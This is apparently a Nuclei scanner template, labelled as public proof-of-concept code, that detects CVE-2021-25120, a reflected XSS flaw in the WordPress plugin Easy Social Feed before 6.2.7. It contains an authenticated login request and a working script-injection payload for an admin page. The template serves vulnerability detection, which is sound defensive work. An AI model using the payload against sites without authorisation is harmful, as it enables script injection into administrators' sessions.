Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
PoC代码[已公开]
id: CVE-2021-25120
info:
name: Easy Social Feed < 6.2.7 - Cross-Site Scripting
author: dhiyaneshDk
severity: medium
description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
remediation: |
Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0
- https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6
- https://nvd.nist.gov/vuln/detail/CVE-2021-25120
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25120
cwe-id: CWE-79
epss-score: 0.31019
epss-percentile: 0.96604
cpe: cpe:2.3:a:easysocialfeed:easy_social_feed:*:*:*:*:pro:wordpress:*:*
metadata:
max-request: 2
vendor: easysocialfeed
product: easy_social_feed
framework: wordpress
tags: cve2021,cve,wordpress,wp-plugin,xss,authenticated,wpscan,easysocialfeed
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'type' : '</script><script>alert(document.domain)</script>'"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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